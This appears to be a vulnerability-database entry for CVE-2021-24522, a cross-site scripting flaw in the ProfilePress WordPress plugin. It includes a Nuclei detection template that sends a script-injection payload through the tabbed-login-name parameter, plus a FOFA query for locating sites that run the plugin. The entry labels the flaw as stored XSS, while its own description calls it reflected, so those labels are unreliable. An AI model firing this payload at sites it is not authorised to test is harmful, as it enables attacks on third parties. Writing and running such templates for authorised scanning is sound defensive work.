SecurityContext

CVE-2021-24522: ProfilePress < 3.1.11 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 5.4
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
  • Epss score: 0.01545
  • Epss percentile: 0.75644
  • Not known: cpe

Metadata

  • Fofa-query: body="wp-content/plugins/wp-user-avatar"
  • Max-request: 2

Labels

  • Name: ProfilePress - Stored XSS
  • Impact: Attackers can execute malicious scripts in admin area, potentially leading to account compromise or privilege escalation.
  • Remediation: Update to version 3.1.11 or later to fix escaping issues and input handling.
  • Vulnerability type: stored_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs to craft malicious input and lure a user to trigger the vulnerability.
  • Labels source: projectdiscovery
  • From cve: CVE-2021-24522

```yaml

id: CVE-2021-24522

info:

name: ProfilePress < 3.1.11 - Cross-Site Scripting

author: ritikchaddha

severity: medium

description: |

The ProfilePress plugin for WordPress before 3.1.11 is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the tabbed login/register widget due to improper escaping of user input. Attackers can inject arbitrary JavaScript via the tabbed-login-name parameter.

impact: |

Attackers can inject malicious JavaScript via reflected XSS in the tabbed login widget, potentially stealing user credentials or session cookies.

remediation: |

Update the ProfilePress plugin to version 3.1.11 or later.

reference:

- https://wpscan.com/vulnerability/25b51add-197c-4aff-b1a8-b92fb11d8697/

- https://plugins.trac.wordpress.org/changeset/2561271/wp-user-avatar

- https://nvd.nist.gov/vuln/detail/CVE-2021-24522

classification:

cve-id: CVE-2021-24522

cwe-id: CWE-79

epss-score: 0.01545

epss-percentile: 0.75644

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

cvss-score: 5.4

metadata:

max-request: 2

fofa-query: body="wp-content/plugins/wp-user-avatar"

tags: cve,cve2021,wordpress,wp,wp-plugin,wp-user-avatar,profilepress,xss,vuln

flow: http(1) && http(2)

http:

- raw:

- |

GET / HTTP/1.1

Host: {{Hostname}}

matchers:

- type: word

part: body

words:

- 'wp-user-avatar'

internal: true

- raw:

- |

GET {{path}}/?tabbed-login-name="><script>alert(document.domain)</script> HTTP/1.1

Host: {{Hostname}}

payloads:

path:

- /

- /wp-login

- /wp-login.php

host-redirects: true

matchers-condition: and

matchers:

- type: word

part: body

words:

- '<script>alert(document.domain)</script>'

- type: word

part: content_type

words:

- text/html

- type: status

status:

- 200

digest: 4b0a004830460221009597292e3dcc2385f8a850ae9fd2114726896c2bd8bc29e86b6cd2aa4ebf102e022100eab742e75229d8a2f85f7cdb45f2d7cb9e6cbaf4959b11790398b0f2d2702b1a:922c64590222798bb761d5b6d8e72950

```